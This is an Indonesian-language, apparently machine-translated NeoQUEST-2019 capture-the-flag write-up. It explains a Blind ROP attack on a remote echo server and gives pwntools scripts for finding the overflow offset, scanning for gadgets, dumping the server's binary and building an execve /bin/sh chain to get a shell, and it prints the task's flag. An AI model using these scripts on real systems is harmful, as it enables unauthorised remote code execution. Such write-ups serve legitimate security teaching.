Bagaimana menemukan kerentanan di server tanpa informasi tentang itu? Apa bedanya BROP dengan ROP? Apakah mungkin untuk mengunduh file yang dapat dieksekusi dari server melalui buffer overflow? Selamat datang di kucing, kami akan menganalisis jawaban atas pertanyaan-pertanyaan ini pada contoh melewati tugas
NeoQUEST-2019 !
Alamat dan port server
diberikan :
213.170.100.211 10000 . Mari kita coba terhubung dengannya:
Sekilas - tidak ada yang istimewa, server gema biasa: mengembalikan hal yang sama dengan yang kami kirimkan kepada kami.
Setelah bermain dengan ukuran data yang dikirim, Anda dapat melihat bahwa dengan panjang garis yang cukup panjang, server tidak dapat berdiri dan memutuskan koneksi:
Hmm, sepertinya meluap.
Temukan panjang buffer. Anda dapat dengan mudah beralih pada nilai-nilai, menambahkannya, sampai kita mendapatkan output non-standar dari server. Dan Anda dapat menunjukkan sedikit kecerdikan dan mempercepat proses menggunakan pencarian biner, memeriksa apakah server macet atau tidak jatuh setelah permintaan berikutnya.
Menentukan panjang bufferfrom pwn import * import threading import time import sys ADDR = "213.170.100.211" PORT = 10000 def find_offset(): start = 0 end = 200 while True: conn = remote(ADDR, PORT) curlen = (start + end)
Jadi, panjang buffer adalah 136. Jika Anda mengirim 136 byte ke server, maka kami menghapus byte nol di akhir baris kami ke stack dan mendapatkan data yang mengikutinya - nilainya 0x400155. Dan ini, tampaknya, adalah alamat pengirim. Dengan cara ini, kita dapat mengontrol alur eksekusi. Tetapi kami sendiri tidak memiliki file yang dapat dieksekusi, dan kami tidak tahu di mana tepatnya gadget ROP yang memungkinkan kami untuk mendapatkan shell dapat ditemukan.
Apa yang bisa dilakukan tentang ini?
Ada teknik khusus yang memungkinkan Anda untuk memecahkan masalah seperti ini asalkan alamat kembali dikendalikan -
Pemrograman Berorientasi Buta . Intinya, BROP adalah pemindaian buta terhadap file yang dapat dieksekusi untuk gadget. Kami menulis ulang alamat pengirim dengan beberapa alamat dari segmen teks, mengatur parameter untuk gadget yang diinginkan pada tumpukan dan menganalisis perilaku program. Berdasarkan analisis, asumsi lahir apakah kita menebak atau tidak. Peran penting dimainkan oleh gadget bantu khusus -
Hentikan (pelaksanaannya tidak akan menyebabkan penghentian program) dan
Perangkap (pelaksanaannya akan menyebabkan program berakhir). Jadi, pada awalnya gadget tambahan ditemukan, dan dengan bantuan mereka, gadget yang diperlukan sudah dicari (sebagai aturan, untuk memanggil
write dan mendapatkan file yang dapat dieksekusi).
Sebagai contoh, kami ingin menemukan gadget yang menempatkan nilai tunggal dari tumpukan ke dalam register dan melakukan
ret . Kami akan mencatat alamat yang diuji alih-alih alamat kembali untuk mentransfer kontrol ke sana. Setelah itu, kami menuliskan alamat gadget
Trap yang kami temukan sebelumnya, dan di belakangnya adalah alamat gadget
Stop . Apa yang akhirnya ternyata: jika server macet (
Perangkap bekerja), maka gadget tersebut terletak pada alamat pengujian saat ini, yang tidak cocok dengan yang dicari: itu tidak menghapus alamat gadget
Perangkap dari tumpukan. Jika
Berhenti berfungsi, maka gadget saat ini mungkin hanya apa yang kita cari: itu menghapus satu nilai dari tumpukan. Dengan demikian, Anda dapat mencari gadget yang cocok dengan perilaku tertentu.
Tetapi dalam hal ini, pencarian dapat disederhanakan. Kami tahu pasti bahwa server mencetak beberapa nilai kepada kami sebagai tanggapan. Anda dapat mencoba memindai berbagai alamat di file yang dapat dieksekusi dan melihat apakah kita mendapatkan kode yang menampilkan baris lagi.
Penemuan gadget lock = threading.Lock() def safe_get_next(gen): with lock: return next(gen) def find_puts(offiter, buffsize, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return payload = b'A' * buffsize payload += p64(base + offset) if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) conn.send(payload) time.sleep(2) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if len(r) > 0: print("Memleak at {:#x}, {} bytes".format(base + offset, len(r)), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_puts, args=(offset_iter, buffer_size, 0x400100)).start() time.sleep(1)
Bagaimana kita bisa mendapatkan file yang dapat dieksekusi menggunakan kebocoran ini?
Kita tahu bahwa server menulis garis sebagai tanggapan. Ketika kita pergi ke alamat
0x40016f, parameter fungsi output diisi dengan beberapa jenis sampah. Karena, dilihat dari alamat pengirim, kita berurusan dengan file yang dapat dieksekusi 64-bit, parameter fungsi
terletak di register.
Tetapi bagaimana jika kami menemukan gadget yang memungkinkan kami untuk mengontrol isi register (meletakkannya di sana dari tumpukan)? Mari kita coba menemukannya menggunakan teknik yang sama. Kita dapat menaruh nilai apa pun di tumpukan, bukan? Jadi, kita perlu menemukan pop-gadget yang akan memberi nilai pada register yang diinginkan sebelum memanggil fungsi output. Tetapkan alamat awal file ELF (
0x400000 ) sebagai alamat string. Jika kami menemukan gadget yang tepat, maka server harus mencetak tanda tangan
7F 45 4C 46 sebagai tanggapan.
Pencarian Gadget Berlanjut def find_pop(offiter, buffsize, puts, base=0x400000): offset = 0 while True: conn = remote(ADDR, PORT) try: offset = safe_get_next(offiter) except StopIteration: return if offset % 0x10 == 0: print("Checking address {:#x}".format(base + offset), flush=True) payload = b'A' * buffsize payload += p64(base + offset) payload += p64(0x400001) payload += p64(puts) conn.send(payload) time.sleep(1) try: r = conn.recv() r = r.strip(b'A' * buffsize)[3:] if b'ELF' in r: print("Binary leak at at {:#x}".format(base + offset), flush=True) except: pass finally: conn.close() offset_iter = iter(range(0x200)) for _ in range(16): threading.Thread(target=find_pop, args=(offset_iter, buffer_size, 0x40016f, 0x400100)).start() time.sleep(1)
Dengan menggunakan kumpulan alamat yang dihasilkan, kami memompa file yang dapat dieksekusi dari server.
Ekstraksi file def dump(buffsize, pop, puts, offset, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(pop) payload += p64(base + offset) # what to dump payload += p64(puts) conn.send(payload) time.sleep(0.5) r = conn.recv() r = r.strip(b'A' * buffsize) conn.close() if r[3:]: return r[3:] return None
Mari kita lihat di IDA:
Alamat
0x40016f mengarahkan kita ke
syscall , dan
0x40017f mengarah ke
pop rsi ;
ret .
Sekarang Anda memiliki file yang dapat dieksekusi, Anda dapat membangun rantai ROP. Selain itu, baris
/ bin / sh juga ada di dalamnya !
Kami membentuk rantai yang memanggil
sistem dengan argumen
/ bin / sh . Informasi tentang panggilan sistem di Linux 64-bit dapat ditemukan, misalnya, di
sini .
Langkah kecil terakhir def get_shell(buffsize, base=0x400000): conn = remote(ADDR, PORT) payload = b'A' * buffsize payload += p64(base + 0x17d) payload += p64(59) payload += p64(0) payload += p64(0) payload += p64(base + 0x1ce) payload += p64(base + 0x1d0) payload += p64(base + 0x17b) conn.send(payload) conn.interactive()
Jalankan exploit dan dapatkan shell:
Kemenangan!
NQ201934D811DCBD6AA2926218976CB3340DE95902DD0F33E60E4FF32BAD209BBA4433Segera, vraytaps akan muncul untuk tugas-tugas lain dari panggung online NeoQUEST-2019. Dan "Konfrontasi" akan berlangsung pada 26 Juni! Berita akan muncul di
situs web acara, jangan lewatkan!